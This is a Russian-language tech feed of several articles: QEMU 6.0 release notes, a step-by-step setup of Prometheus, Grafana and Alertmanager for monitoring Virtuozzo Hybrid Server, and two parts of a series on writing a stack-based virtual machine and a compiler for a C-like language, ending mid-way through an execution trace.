Рис. 7.TektonHub публичный репозиторий повторно используемых задач и конвейеров TektonРис. 7.TektonHub публичный репозиторий повторно используемых задач и конвейеров Tekton

Интеграция с IDE

Разработчики, использующие командную строку и IDE, могут воспользоваться преимуществами Tekton CLI, расширения Tekton для Visual Studio Code и плагина Tekton для IntelliJ, чтобы взаимодействовать с конвейерами прямо из своей обычной среды разработки и создавать, запускать, просматривать и выполнять действия на кластере непосредственно из командной строки.

Рис. 8. Расширение VSCode для OpenShift PipelinesРис. 8. Расширение VSCode для OpenShift Pipelines

Полезные ресурсы

В заключение советуем посмотреть видеоверсию этой статьи на английском:

А также рекомендуем следующие ресурсы (EN):

Видеоролики на русском:

Вебинары:

Подробнее..

После года разработки вышел эмулятор QEMU 6.0

30.04.2021 20:15:00 | Автор: admin

Прошел ровно год с момента выхода эмулятора QEMU 5.0, и сейчас разработчики представили новую версию. Проект дает возможность запустить программное обеспечение, подготовленное для одной архитектуры, на аппаратной платформе с другой архитектурой.

Пример выполнение приложения для ARM на ПК с процессором x86. Благодаря особенностям эмулятора приложение в изолированном окружении выполняется почти с той же эффективностью, что и в нативном окружении. Достигается это, в частности, за счет прямого выполнения инструкций на процессоре, а также за счет применения гипервизора Xen или модуля KVM. Сейчас эмулятор поддерживает 14 аппаратных архитектур и может эмулировать около 400 разных устройств. За год разработчики внесли свыше 3 тысяч изменений от 268 разработчиков.

Подробнее о ключевых изменениях


Понятно, что объем статьи не позволит внести все 3 тысячи изменений, поэтому ограничимся ключевыми, наиболее важными:

  • Эмулятор контроллеров NVMe теперь приведен к полному соответствию со спецификацией NVMe 1.4. Также он получил экспериментальную поддержку нескольких новых фич, включая зонированные пространства имен, multipath I/O и сквозное шифрование данных на накопителе.
  • Кроме того, добавлены экспериментальные опции "-machine x-remote" и "-device x-pci-proxy-dev", которые нужны для выноса эмуляции устройств во внешние процессы. В текущем режиме эмулятор поддерживает пока лишь SCSI-адаптер lsi53c895.
  • Есть экспериментальная поддержка снапшотов содержимого ОЗУ.
  • Появился новый FUSE-модуль, который необходим для экспорта блочных устройств. Он дает возможность примонтировать срез состояния практически любого блочного устройства, которое используется в гостевой системе. Эксперт при этом реализуется благодаря QMP-команде block-export-add или через опцию "--export" в утилите qemu-storage-daemon.
  • Важное обновление получил эмулятор архитектуры ARM так, добавлены архитектуры ARMv8.1-M 'Helium' и процессоров Cortex-M55, а также расширенных инструкций ARMv8.4 TTST, SEL2 и DIT. А еще появилась поддержка ARM-плат mps3-an524 и mps3-an547, плюс добавлена дополнительная эмуляция устройств для плат xlnx-zynqmp, xlnx-versal, sbsa-ref, npcm7xx.
  • Что касается режимов эмуляции на уровне системы для ARM, то здесь появилась поддержка расширения ARMv8.5 MTE (MemTag, Memory Tagging Extension). Оно позволяет привязать теги к каждой операции выделения памяти, организовав при доступе к ней проверку указателя. Последний должен быть связан с корректным тегом. Для чего потребовалось расширение? Оно дает возможность блокировать эксплуатацию уязвимостей, которые вызваны обращением к уже освобожденным блокам памяти, переполнениями буфера, обращениями до инициализации и использованием вне текущего контекста.
  • В эмуляторе для 68k разработчики добавили новый тип эмулируемых машин virt. Нововведение позволяет использовать для оптимизации производительности устройства virtio.
  • В архитектуре x86 появилась возможность применения технологии AMD SEV-ES (Secure Encrypted Virtualization) для шифрования регистров процессора, используемых в гостевой системе. В итоге содержимое регистров недоступно для хост-окружения в том случае, если гостевая система не предоставляет к ним явный доступ.
  • Для архитектуры MIPS также добавлен новый тип эмулируемых машин virt с поддержкой новых китайских процессоров Loongson-3.
  • Для PowerPC, точнее, для эмулируемых машин добавлена поддержка внешних BMC-контроллеров. Если случается сбой с pseries из-за попытки горячего извлечения памяти и CPU, то обеспечивается информирование о сбоях.
  • Появилась поддержка эмуляции процессоров Qualcomm Hexagon c DSP.
  • Реализована поддержка хост-окружений macOS на системах с новым ARM-чипом Apple M1 в классическом генераторе кода TCG (Tiny Code Generator).
  • При эмуляции архитектуры RISC-V для плат Microchip PolarFire реализована поддержка QSPI NOR flash.
  • В эмуляторе Tricore добавлена поддержка новой модели плат TriBoard, эмулирующей SoC Infineon TC27x.
  • В ACPI-эмуляторе теперь можно назначать сетевые адаптеры в гостевых системах имен, которые не зависят от порядка подключения к шине PCI.

С полным списком изменений и дополнений можно ознакомиться вот здесь.

Подробнее..

Мониторинг Virtuozzo Hybrid Server с помощь Prometheus

01.06.2021 14:09:01 | Автор: admin

Пользователи продуктов Virtuozzo и OpenVZ обычно работают с множеством развернутых машин под управлением нашего ПО. Поэтому для них логично запустить централизованный мониторинг всего парка таких серверов. И сегодня мы расскажем о том, как использовать для этого встроенные сервисы мониторинга Virtuozzo Hybrid Infrastructure на основе Prometheus.

Схожие сервисы доступны и в VHS, но только если вы используете графические интерфейс для управления кластером Virtuozzo Storage. Если же у вас нет кластера Storage, или вы не используете GUI для его администрирования (либо работаете с OpenVZ, где подключение Virtuozzo Storage является возможным, но редко встречающимся сценарием), то для мониторинга приходится обращаться к сторонним решениям.

Анализ предпочтений пользователей (публично доступный для OpenVZ здесь) показывает следующее: как и для мониторинга серверов с Linux и основанных на нем решениями, для продуктов Virtuozzo популярны Zabbix и Prometheus.

Мы поговорим сегодня про Prometheus более молодой, но активно набирающий популярность инструментарий.

Непосредственно Prometheus занимается сбором данных от подвластных ему экспортеров - в репозиториях VHS доступны node_exporter (для сбора общих характеристик сервера, таких как использование ресурсов и состояние дисков) и libvirt_exporter (для сбора информации о виртуальных машинах, управляемых libvirt). Экспортеры основаны на соответствующих стандартных проектах, но содержат ряд специфичных для Virtuozzo изменений.

Для удобного изучения собираемой информации, в связке с Prometheus обычно устанавливается инструментарий визуализации данных Grafana, а для возможности получения оповещений о требующих внимания администратора событиях Alertmanager.

Готовим плацдарм

Prometheus, Grafana и Alertmanager можно развернуть на отдельной машине, не обязательно физической. Раз уж мы говорим о Virtuozzo Hybrid Server, то логично развернуть их внутри контейнера на одной из машин VHS. Например, внутри контейнера с Virtuozzo Linux 8; для функционирования вполне достаточно двух ядер ЦПУ и пары гигабайт памяти:

# prlctl create promct --vmtype=ct --ostemplate=vzlinux-8-x86_64# prlctl set promct --cpu 2# prlctl set promct --memsize 2G

Не забудьте выставить необходимый IP адрес и доменное имя, по которым будет доступен ваш контейнер.

Внутри контейнера не помешает выставить правильный часовой пояс:

# timedatectl set-timezone 'Europe/Moscow'

А также настроить firewall порт 9090 для веб-интерфейса Prometheus, 9093 для AlertManager и 3000 для Grafana. Обратите внимание, что веб Prometheus и Alertmanager доступны без пароля, так что выставляйте их только в ваши внутренние сети.

# firewall-cmd --zone=public --permanent --add-port=9090/tcp# firewall-cmd --zone=public --permanent --add-port=9093/tcp# firewall-cmd --zone=public --permanent --add-port=3000/tcp# firewall-cmd --reload

Устанавливаем Prometheus & co.

Prometheus входит в репозитории многих дистрибутивов, в том числе и Virtuozzo Linux 8, поэтому можно его установить штатными средствами:

# yum install prometheus

Если вас не устраивает версия из дистрибутива (например, хочется самую свежую, либо наоборот - свежая имеет какие-то раздражающие вас проблемы), то можно просто скачать бинарные файлы с GitHub и положить их в директорию /opt (или в другую на ваш выбор). Например, для версии 2.21.0:

# cd /opt# wget https://github.com/prometheus/prometheus/releases/download/v2.21.0/prometheus-2.21.0.linux-amd64.tar.gz# tar -xzf prometheus*.tar.gz

Единственный нюанс при ручной установке - не забыть создать (либо скорректировать) service-файл для systemd, чтобы там были правильные пути:

# cat /lib/systemd/system/prometheus.service[Unit]Description=PrometheusWants=network-online.targetAfter=network-online.target[Service]Type=simpleWorkingDirectory=/opt/prometheus-2.21.0.linux-amd64Restart=on-failureExecStart=/opt/prometheus-2.21.0.linux-amd64/prometheus[Install]WantedBy=multi-user.target

Аналогично с Alertmanager - можно установить из репозиториев:

# yum install alertmanager

... А можно и с сайта, точно также не забыв service-файл:

# wget https://github.com/prometheus/alertmanager/releases/download/v0.21.0/alertmanager-0.21.0.linux-amd64.tar.gz# cd /opt# tar -xzf alertmanager*.tar.gz# cat /usr/lib/systemd/system/alertmanager.service[Unit]Description=AlertmanagerWants=network-online.targetAfter=network-online.targetAfter=prometheus.service[Service]Type=simpleWorkingDirectory=/root/alertmanager-0.21.0.linux-amd64Restart=on-failureExecStart=/root/alertmanager-0.21.0.linux-amd64/alertmanager --config.file=alertmanager.yml[Install]WantedBy=multi-user.target

Grafana сразу предоставляет собранные rpm-пакеты, так что можно, опять же, поставить либо из дистрибутива:

# yum install grafana

либо с сайта проекта:

# yum install https://dl.grafana.com/oss/release/grafana-7.1.5-1.x86_64.rpm

Подготавливаем машины с Virtuozzo Hybrid Server

На каждом сервере VHS, который предполагается мониторить, необходимо установить пакеты с экспортерами:

# yum install node_exporter libvirt_exporter

Чтобы экспортеры могли отдавать данные в Prometheus, необходимо открыть соответствующие порты - 9177 для libvirt_exporter и 9100 для node_exporter. Доступ к ним желательно ограничить адресом машины с Prometheus, чтобы посторонние люди не делали попыток снять метрики с ваших серверов:

# firewall-cmd --permanent --zone=public --add-rich-rule=' rule family="ipv4" source address="1.2.3.4/32" port protocol="tcp" port="9177" accept'# firewall-cmd --permanent --zone=public --add-rich-rule=' rule family="ipv4" source address="1.2.3.4/32" port protocol="tcp" port="9100" accept'# firewall-cmd --reload

Здесь "1.2.3.4" необходимо поменять на реальный адрес Prometheus.

Наконец, смело включаем и запускаем сервисы экспортеров:

# systemctl enable node_exporter# systemctl enable libvirt-exporter# systemctl start node_exporter# systemctl start libvirt-exporter

Дело за малым - надо сообщить Прометею, откуда ему собирать информацию.

Настройка Prometheus

Конфигурация самого Prometheus содержится в наборе Yaml-файлов. Писать их с нуля, даже с помощью примеров из документации то еще развлечение. Именно этот процесс и решили улучшить в Virtuozzo, положив в репозитории VHS 7 пакет vz-prometheus-cfg с шаблонами файлов конфигурации. Его можно установить на любой машине VHS 7, а если вы развернули Prometheus внутри VzLinux 8 то можно его поставить прямо на сервере из репозиториев этого дистрибутива:

# yum install vz-prometheus-cfg

После чего изучать директорию /usr/share/vz-prometheus-cfg/, начав с файла prometheus-example.yml.

Этот файл необходимо отредактировать под ваши нужды и под именем prometheus.yml сохранить в машину или контейнер, где у вас расположен Prometheus. Главное, что там необходимо изменить это местоположение файлов *rules.yml и *alerts.yml, которые также можно скопировать из директории /usr/share/vz-prometheus-cfg/ на сервер Prometheus. Можно их изучить и даже отредактировать, однако они вполне работоспособны и в исходном варианте.

В первую очередь здесь интересны vz-rules, содержащие правила сбора информации о потреблении ресурсов (диска, процессора, памяти и сети) виртуальными окружениями и предупреждения о проблемах с ресурсами (останов ВМ из-за ошибки диска, исчерпание диска на сервере и тому подобное).

Непосредственно машины, с которых надо собирать информацию, указываются в target-файлах. В первом приближении достаточно одного такого файла со списком машин для каждого экспортера (напомним, node_exporter отдает информацию на порту 9100, а libvirt - 9177):

# cat my-vz-libvirt.yml- labels: group: my-vz-deployment targets: - my.node1:9177 - my.node2:9177# cat my-vz-node.yml- labels: group: my-vz-deployment targets: - my.node1:9100 - my.node2:9100

Пути к этим файлам необходимо указать в соответствующих разделах секции scrape_configs в prometheus.yml:

scrape_configs: ... - job_name: node ... file_sd_configs: - files: - /root/prometheus-2.21.0.linux-amd64/targets/my-vz-node.yml - job_name: libvirt ... file_sd_configs: - files: - /root/prometheus-2.21.0.linux-amd64/targets/my-vz-libvirt.yml

Пример полного файла конфигурации можно посмотреть в документации: https://docs.virtuozzo.com/virtuozzo_hybrid_server_7_users_guide/advanced-tasks/monitoring-via-prometheus.html. Обратите внимание, что важными параметрами являются job_name на них идет отсылка в файлах с правилами и алертами. Так что если задумаете менять эти имена не забудьте пройтись и по другим файлами конфигурации и провести соответствующие замены.

Как только все необходимые файлы отредактированы - пора стартовать сервисы:

# systemctl start prometheus# systemctl start alertmanager# systemctl start grafana-server

После чего продолжать уже с настройкой двух других инструментов

Grafana и Alertmanager

Конфигурация Grafana осуществляется через ее веб-интерфейс по адресу http://<ваш-сервер>:3000. Логин-пароль по умолчанию - "admin" / "admin".

Настройка достаточно проста и стандартна - сначала необходимо указать "Prometheus" как источник данных, пройдя в Configuration -> Data Sources -> "Add data source", выбрав "Prometheus" и указав http://localhost:9090 в качестве его адреса.

Далее можно импортировать готовые json-файлы, опять же поставляемые с пакетов vz-prometheus-cfg - grafana_hn_dashboard.json и grafana_ve_dashboard.json - служащие соответственно для отображения информации о серверах и о виртуальных окружениях. Импорт осуществляется в меню "Dashboards" -> "Manage" -> "Import", в качестве источника данных необходимо добавить настроенный ранее Prometheus.

И, вуаля, к этому моменту Prometheus уже вполне мог получить какие-то данные с ваших машин, так что можно практически сразу изучать графики.

Наконец, настройка оповещений Alertmanager тут все на ваше усмотрение, готовых рецептов а-ля отправить отчет в саппорт Virtuozzo не предусмотрено. Так что можно, например, просто настроить типичные оповещения по email в /etc/alertmanager/alertmanager.yaml:

route:   receiver: 'email'  group_by: ['alertname', 'cluster']   group_wait: 30s   group_interval: 5m   repeat_interval: 3h   receivers:  - name: 'email'   email_configs:   - to: 'admin@myserver.com'   from: 'vz-alert@myserver.com'   smarthost: smtp.myserver.com:587

Всего алертов из коробки предусмотрено почти три десятка полный перечень доступен в документации.

Надеемся, обилие и нетривиальность параметров не отпугнет вас от использования Prometheus. Тем более что настроить его достаточно один раз, а шаблоны от Virtuozzo должны в этом неплохо помочь. В результате вы получаете красивую, удобную и функциональную систему мониторинга, без которой современному системному администратору будет намного сложнее работать.

Подробнее..

Разработка стековой виртуальной машины и компилятора под неё (часть II)

04.06.2021 20:14:20 | Автор: admin

В первой части Разработка стековой виртуальной машины и компилятора под неё (часть I) сделал свою элементарную стековую виртуальную машину, которая умеет работать со стеком, делать арифметику с целыми числами со знаком, условные переходы и вызовы функций с возвратом. Но так как целью было создать не только виртуальную машину, но и компилятор C подобного языка, пришло время сделать первые шаги в сторону компиляции. Опыта никакого. Буду действовать по разумению.

Одним из первых этапов компиляции является синтаксический анализ (parsing) исходного кода нашего "C подобного языка" (кстати, надо какое-то название дать как только он станет более формальным). Задача простая - "нарубить" массив символов (исходный код) на список классифицированных токенов, чтобы последующий разбор и компиляция не вызывали сложности.

Итак, первый шаг - определиться с типами токенов (интуитивно будем ориентироваться на синтаксис C), символами которые будут отделять токены друг от друга, а также определить структуру для хранения токена (тип, текст токена, длина, строка и столбец в исходном коде).

constexpr char* BLANKS = "\x20\n\t";constexpr char* DELIMETERS = ",;{}[]()=><+-*/&|~^!.";enum class TokenType {NONE = 0, UNKNOWN, IDENTIFIER,CONST_CHAR, CONST_INTEGER, CONST_REAL, CONST_STRING,COMMA, MEMBER_ACCESS, EOS, OP_BRACES, CL_BRACES, OP_BRACKETS, CL_BRACKETS, OP_PARENTHESES, CL_PARENTHESES,BYTE, SHORT, INT, LONG, CHAR, FLOAT, DOUBLE, STRING, IF, ELSE, WHILE, RETURN,ASSIGN, EQUAL, NOT_EQUAL, GREATER, GR_EQUAL, LESS, LS_EQUAL,PLUS, MINUS, MULTIPLY, DIVIDE, AND, OR, XOR, NOT, SHL, SHR,LOGIC_AND, LOGIC_OR, LOGIC_NOT};typedef struct {TokenType type;          char* text;              WORD length;             WORD row;                WORD col;                } Token;

Далее напишем класс для разбора, ключевым методом которого станет parseToTokens(char*). Тут алгоритм простой: идем до разделителя (BLANKS и DELIMETERS), определяем начало и конец токена, классифицируем его и добавляем в вектор (список) токенов. Особые случаи разбора - это отличать целые числа от вещественных, вещественные числа (например, "315.0") отличать от применения оператора доступа к членам структуры/объекта ("obj10.field1"), а также отличать ключевые слова от других идентификаторов.

void VMParser::parseToTokens(const char* sourceCode) {TokenType isNumber = TokenType::UNKNOWN;bool insideString = false;                                         // inside string flagbool isReal = false;                                               // is real number flagsize_t length;                                                     // token length variablechar nextChar;                                                     // next char variablebool blank, delimeter;                                             // blank & delimeter char flagstokens->clear();                                                   // clear tokens vectorrowCounter = 1;                                                    // reset current row counterrowPointer = (char*)sourceCode;                                    // set current row pointer to beginningchar* cursor = (char*)sourceCode;                                  // set cursor to source beginning char* start = cursor;                                              // start new token from cursorchar value = *cursor;                                              // read first char from cursorwhile (value != NULL) {                                            // while not end of stringblank = isBlank(value);                                          // is blank char found?delimeter = isDelimeter(value);                                  // is delimeter found?length = cursor - start;                                         // measure token length    // Diffirentiate real numbers from member access operator '.'isNumber = identifyNumber(start, length - 1);                    // Try to get integer part of real numberisReal = (value=='.' && isNumber==TokenType::CONST_INTEGER);     // Is current token is real numberif ((blank || delimeter) && !insideString && !isReal) {          // if there is token separator                   if (length > 0) pushToken(start, length);                      // if length > 0 push token to vectorif (value == '\n') {                                           // if '\n' found rowCounter++;                                                // increment row counterrowPointer = cursor + 1;                                     // set row beginning pointer}nextChar = *(cursor + 1);                                      // get next char after cursorif (!blank && isDelimeter(nextChar)) {                         // if next char is also delimeterif (pushToken(cursor, 2) == TokenType::UNKNOWN)              // try to push double char delimeter tokenpushToken(cursor, 1);                                      // if not pushed - its single char delimeterelse cursor++;                                               // if double delimeter, increment cursor} else pushToken(cursor, 1);                                   // else push single char delimeterstart = cursor + 1;                                            // calculate next token start pointer}else if (value == '"') insideString = !insideString;             // if '"' char - flip insideString flag else if (insideString && value == '\n') {                        // if '\n' found inside string// TODO warn about parsing error}cursor++;                                                        // increment cursor pointervalue = *cursor;                                                 // read next char}length = cursor - start;                                           // if there is a last tokenif (length > 0) pushToken(start, length);                          // push last token to vector}

Наряду с методом parseToTokens, помогать в разборе и классификации нам будут простые методы, определяющие разделители и тип найденного токена. Плюс метод добавления токена в вектор.

class VMParser {public:VMParser();~VMParser();void parseToTokens(const char* sourceCode);Token getToken(size_t index);size_t getTokenCount();  private:vector<Token>* tokens;WORD rowCounter;char* rowPointer;  bool isBlank(char value);bool isDelimeter(char value);TokenType pushToken(char* text, size_t length);TokenType getTokenType(char* text, size_t length);TokenType identifyNumber(char* text, size_t length);TokenType identifyKeyword(char* text, size_t length);};

Попробуем используя класс VMParser разобрать строку исходного кода C подобного языка (исходный код бессмысленный, просто набор случайных токенов для проверки разбора):

int main(){    printf ("Wow!");    float a = 365.0 * 10 - 10.0 / 2 + 3;while (1 != 2) {    abc.v1 = 'x';}if (a >= b) return a && b; else a || b; };

В итоге получаем в консоли следующий перечень классифицированных токенов:

Результат разбора исходного кода C подобного языкаРезультат разбора исходного кода C подобного языка

Отлично, у нас есть базовый парсер. Теперь его надо как-то применить, например осуществить разбор простого арифметического выражения, а также написать компиляцию такого выражения в инструкции виртуальной машины.

Для простоты сначала реализуем компилятор арифметических выражений с целыми числами (приоритет "*" и "/" над "+" и "-" учитывается), без скобок, унарных операций и других важных вещей, в том числе проверки синтаксических ошибок. Разбор выражений напишем вот так:

void VMCompiler::parseExpression(size_t startIndex, VMImage* destImage) {Token tkn;currentToken = startIndex;parseTerm(destImage);tkn = parser->getToken(currentToken);while (tkn.type==TokenType::PLUS || tkn.type==TokenType::MINUS) {  currentToken++;  parseTerm(destImage);  if (tkn.type==TokenType::PLUS) destImage->emit(OP_ADD); else destImage->emit(OP_SUB);  tkn = parser->getToken(currentToken);}}void VMCompiler::parseTerm(VMImage* destImage) {Token tkn;parseFactor(destImage);currentToken++;tkn = parser->getToken(currentToken);while (tkn.type == TokenType::MULTIPLY || tkn.type == TokenType::DIVIDE) {  currentToken++;  parseFactor(destImage);  if (tkn.type == TokenType::MULTIPLY) destImage->emit(OP_MUL); else destImage->emit(OP_DIV);  currentToken++;  tkn = parser->getToken(currentToken);}}void VMCompiler::parseFactor(VMImage* destImage) {Token tkn = parser->getToken(currentToken);char buffer[32];strncpy(buffer, tkn.text, tkn.length);buffer[tkn.length] = 0;destImage->emit(OP_CONST, atoi(buffer));}

Попробуем скормить этому компилятору выражение "3+5*6+2*3+15/5", запускаем компилятор с выводом скомпилированных команд и сразу запускаем виртуальную машину. Ожидаем, что результат вычисления должен остаться на вершине стека - 42.

Ура! Получилось! Первые шаги в сторону компилятора сделаны.

Подробнее..

Разработка стековой виртуальной машины и компилятора под неё (часть III)

20.06.2021 10:05:00 | Автор: admin

По ходу разработки генератора кода для виртуальной машины понял, что виртуальная машина не готова к полноценным вызовам функций, с передачей аргументов и хранением локальных переменных функций. Поэтому её необходимо доработать. А именно, нужно определиться с Соглашением о вызовах (calling convention). Есть много разных вариантов, но конечный выбор за разработчиком. Главное - это обеспечить целостность стека, после вызова.

Соглашение о вызовах (calling convention) - это правила по которым при вызове функции передаются аргументы в вызываемую функцию (стек/регистры, порядок), кто и как очищает стек после вызова (вызывающий/вызываемый) и как возвращается результат функции в точку вызова (стек/регистр). Ко всему прочему, вызываемые функции могут создавать локальные переменные, которые будут хранится в стеке, что тоже необходимо учитывать, особенно, чтобы работала рекурсия.

На сегодняшний день, наиболее знакомые мне Соглашения о вызове (calling convention), регулирующее правила передачи аргументов функции, очистки стека после вызова, а также логика хранения локальных переменных - это C declaration (cdecl, x86/64) и pascal. Попробую применить эти знания с небольшими модификациями, а именно без прямого доступа программы к регистрам виртуальной машины (она же всё таки стековая, а не регистровая). Итак, логика будет следующая:

Поясню что происходит. Функция main() вызывает функцию sum() и передаёт ей два аргумента - значение переменной i и константное число 10. Осуществляется передача аргументов путём добавления значений аргументов в стек слева направо (как в pascal). После чего осуществляется вызов функции инструкцией виртуальной машины call, которой указывается адрес вызова и количество передаваемых через стек аргументов - 2.

Дальше команда call должна сделать следующие вещи:
1) сохранить в стек адрес возврата после вызова IP (Instruction Pointer + 1)
2) сохранить в стек значение Frame Pointer (регистр виртуальной машины, которым мы показываем до куда очищать стек после вызова).
3) сохраняем в стек значение Locals Pointer (регистр указывающий на место в стеке где начинаются локальные переменные вызывающей функции).
4) выставить значение Frame Pointer на первый аргумент в стеке, чтобы мы знали докуда очищать стек после завершения выполнения функции.
5) выставить значение Locals Pointer на адрес в стеке сразу после сохранных значение IP, FP, LP.

В свою очередь команда ret должна выполнить действия в обратном порядке:
1) Восстановить из стека предыдущие значения IP, FP, LP.
2) Взять результат выполнения функции с вершины стека.
3) Выставить SP = FP (очистить стек в состояние до вызова).
4) Положить на вершину стека результат выполнения функции.

Так как делаем стековую, а не регистровую виртуальную машину, не хочу давать прямой доступ к регистрам, поэтому доработаем инструкцию CALL / RET, а также добавим четыре дополнительные инструкции LOAD (положить в стек значение локальной переменной с указанным индексом), STORE (взять верхнее значение в стеке и сохранить в локальной переменной с указанным индексом), ARG (добавить в стек значение аргумента функции с указанным индексом), а также DROP - инструкция выбросить из стека верхнее значение. Последняя инструкция DROP нужна для функций значение которых нам не нужно, так как мы не даём прямой доступ к регистрам.

case OP_CALL:a = memory[ip++];      // get call address and increment addressb = memory[ip++];      // get arguments count (argc)b = sp + b;            // calculate new frame pointermemory[--sp] = ip;     // push return address to the stackmemory[--sp] = fp;     // push old Frame pointer to stackmemory[--sp] = lp;     // push old Local variables pointer to stackfp = b;                // set Frame pointer to arguments pointerlp = sp - 1;           // set Local variables pointer after top of a stackip = a;                // jump to call addressbreak;case OP_RET:a = memory[sp++];      // read function return value on top of a stackb = lp;                // save Local variables pointersp = fp;               // set stack pointer to Frame pointer (drop locals)lp = memory[b + 1];    // restore old Local variables pointerfp = memory[b + 2];    // restore old Frame pointerip = memory[b + 3];    // set IP to return addressmemory[--sp] = a;      // save return value on top of a stackbreak;case OP_LOAD:a = memory[ip++];         // read local variable indexb = lp - a;               // calculate local variable addressmemory[--sp] = memory[b]; // push local variable to stackbreak;case OP_STORE:a = memory[ip++];         // read local variable indexb = lp - a;               // calculate local variable addressmemory[b] = memory[sp++]; // pop top of stack to local variablebreak;case OP_ARG:a = memory[ip++];         // read parameter indexb = fp - a - 1;           // calculate parameter addressmemory[--sp] = memory[b]; // push parameter to stackbreak;case OP_DROP:                   // pop and drop value from stacksp++;break;

Скомпилируем код представленный на иллюстрации выше чтобы протестировать как работают новые инструкции CALL, RET, LOAD, STORE, ARG (примечание: syscall 0x21 - это распечатка числа с вершины стека в консоль):

Запустим исполнение этого кода с распечаткой состояния виртуальной машины после выполнения каждой инструкции:

[   0]    iconst  5     IP=2 FP=65535 LP=65534 SP=65534 STACK=[5] -> TOP[   2]    iload   #0    IP=4 FP=65535 LP=65534 SP=65533 STACK=[5,5] -> TOP[   4]    idec          IP=5 FP=65535 LP=65534 SP=65533 STACK=[5,4] -> TOP[   5]    idup          IP=6 FP=65535 LP=65534 SP=65532 STACK=[5,4,4] -> TOP[   6]    istore  #0    IP=8 FP=65535 LP=65534 SP=65533 STACK=[4,4] -> TOP[   8]    idup          IP=9 FP=65535 LP=65534 SP=65532 STACK=[4,4,4] -> TOP[   9]    iconst  10    IP=11 FP=65535 LP=65534 SP=65531 STACK=[4,4,4,10] -> TOP[  11]    call [32], 2  IP=32 FP=65533 LP=65527 SP=65528 STACK=[4,4,4,10,14,65535,65534] -> TOP[  32]    iconst  10    IP=34 FP=65533 LP=65527 SP=65527 STACK=[4,4,4,10,14,65535,65534,10] -> TOP[  34]    iarg    #0    IP=36 FP=65533 LP=65527 SP=65526 STACK=[4,4,4,10,14,65535,65534,10,4] -> TOP[  36]    iarg    #1    IP=38 FP=65533 LP=65527 SP=65525 STACK=[4,4,4,10,14,65535,65534,10,4,10] -> TOP[  38]    iadd          IP=39 FP=65533 LP=65527 SP=65526 STACK=[4,4,4,10,14,65535,65534,10,14] -> TOP[  39]    iload   #0    IP=41 FP=65533 LP=65527 SP=65525 STACK=[4,4,4,10,14,65535,65534,10,14,10] -> TOP[  41]    isub          IP=42 FP=65533 LP=65527 SP=65526 STACK=[4,4,4,10,14,65535,65534,10,4] -> TOP[  42]    ret           IP=14 FP=65535 LP=65534 SP=65532 STACK=[4,4,4] -> TOP[  14]    syscall 0x21  IP=16 FP=65535 LP=65534 SP=65533 STACK=[4,4] -> TOP[  16]    iconst  0     IP=18 FP=65535 LP=65534 SP=65532 STACK=[4,4,0] -> TOP[  18]    icmpjg  [2]   IP=2 FP=65535 LP=65534 SP=65534 STACK=[4] -> TOP[   2]    iload   #0    IP=4 FP=65535 LP=65534 SP=65533 STACK=[4,4] -> TOP[   4]    idec          IP=5 FP=65535 LP=65534 SP=65533 STACK=[4,3] -> TOP[   5]    idup          IP=6 FP=65535 LP=65534 SP=65532 STACK=[4,3,3] -> TOP[   6]    istore  #0    IP=8 FP=65535 LP=65534 SP=65533 STACK=[3,3] -> TOP[   8]    idup          IP=9 FP=65535 LP=65534 SP=65532 STACK=[3,3,3] -> TOP[   9]    iconst  10    IP=11 FP=65535 LP=65534 SP=65531 STACK=[3,3,3,10] -> TOP[  11]    call [32], 2  IP=32 FP=65533 LP=65527 SP=65528 STACK=[3,3,3,10,14,65535,65534] -> TOP[  32]    iconst  10    IP=34 FP=65533 LP=65527 SP=65527 STACK=[3,3,3,10,14,65535,65534,10] -> TOP[  34]    iarg    #0    IP=36 FP=65533 LP=65527 SP=65526 STACK=[3,3,3,10,14,65535,65534,10,3] -> TOP[  36]    iarg    #1    IP=38 FP=65533 LP=65527 SP=65525 STACK=[3,3,3,10,14,65535,65534,10,3,10] -> TOP[  38]    iadd          IP=39 FP=65533 LP=65527 SP=65526 STACK=[3,3,3,10,14,65535,65534,10,13] -> TOP[  39]    iload   #0    IP=41 FP=65533 LP=65527 SP=65525 STACK=[3,3,3,10,14,65535,65534,10,13,10] -> TOP[  41]    isub          IP=42 FP=65533 LP=65527 SP=65526 STACK=[3,3,3,10,14,65535,65534,10,3] -> TOP[  42]    ret           IP=14 FP=65535 LP=65534 SP=65532 STACK=[3,3,3] -> TOP[  14]    syscall 0x21  IP=16 FP=65535 LP=65534 SP=65533 STACK=[3,3] -> TOP[  16]    iconst  0     IP=18 FP=65535 LP=65534 SP=65532 STACK=[3,3,0] -> TOP[  18]    icmpjg  [2]   IP=2 FP=65535 LP=65534 SP=65534 STACK=[3] -> TOP[   2]    iload   #0    IP=4 FP=65535 LP=65534 SP=65533 STACK=[3,3] -> TOP[   4]    idec          IP=5 FP=65535 LP=65534 SP=65533 STACK=[3,2] -> TOP[   5]    idup          IP=6 FP=65535 LP=65534 SP=65532 STACK=[3,2,2] -> TOP[   6]    istore  #0    IP=8 FP=65535 LP=65534 SP=65533 STACK=[2,2] -> TOP[   8]    idup          IP=9 FP=65535 LP=65534 SP=65532 STACK=[2,2,2] -> TOP[   9]    iconst  10    IP=11 FP=65535 LP=65534 SP=65531 STACK=[2,2,2,10] -> TOP[  11]    call [32], 2  IP=32 FP=65533 LP=65527 SP=65528 STACK=[2,2,2,10,14,65535,65534] -> TOP[  32]    iconst  10    IP=34 FP=65533 LP=65527 SP=65527 STACK=[2,2,2,10,14,65535,65534,10] -> TOP[  34]    iarg    #0    IP=36 FP=65533 LP=65527 SP=65526 STACK=[2,2,2,10,14,65535,65534,10,2] -> TOP[  36]    iarg    #1    IP=38 FP=65533 LP=65527 SP=65525 STACK=[2,2,2,10,14,65535,65534,10,2,10] -> TOP[  38]    iadd          IP=39 FP=65533 LP=65527 SP=65526 STACK=[2,2,2,10,14,65535,65534,10,12] -> TOP[  39]    iload   #0    IP=41 FP=65533 LP=65527 SP=65525 STACK=[2,2,2,10,14,65535,65534,10,12,10] -> TOP[  41]    isub          IP=42 FP=65533 LP=65527 SP=65526 STACK=[2,2,2,10,14,65535,65534,10,2] -> TOP[  42]    ret           IP=14 FP=65535 LP=65534 SP=65532 STACK=[2,2,2] -> TOP[  14]    syscall 0x21  IP=16 FP=65535 LP=65534 SP=65533 STACK=[2,2] -> TOP[  16]    iconst  0     IP=18 FP=65535 LP=65534 SP=65532 STACK=[2,2,0] -> TOP[  18]    icmpjg  [2]   IP=2 FP=65535 LP=65534 SP=65534 STACK=[2] -> TOP[   2]    iload   #0    IP=4 FP=65535 LP=65534 SP=65533 STACK=[2,2] -> TOP[   4]    idec          IP=5 FP=65535 LP=65534 SP=65533 STACK=[2,1] -> TOP[   5]    idup          IP=6 FP=65535 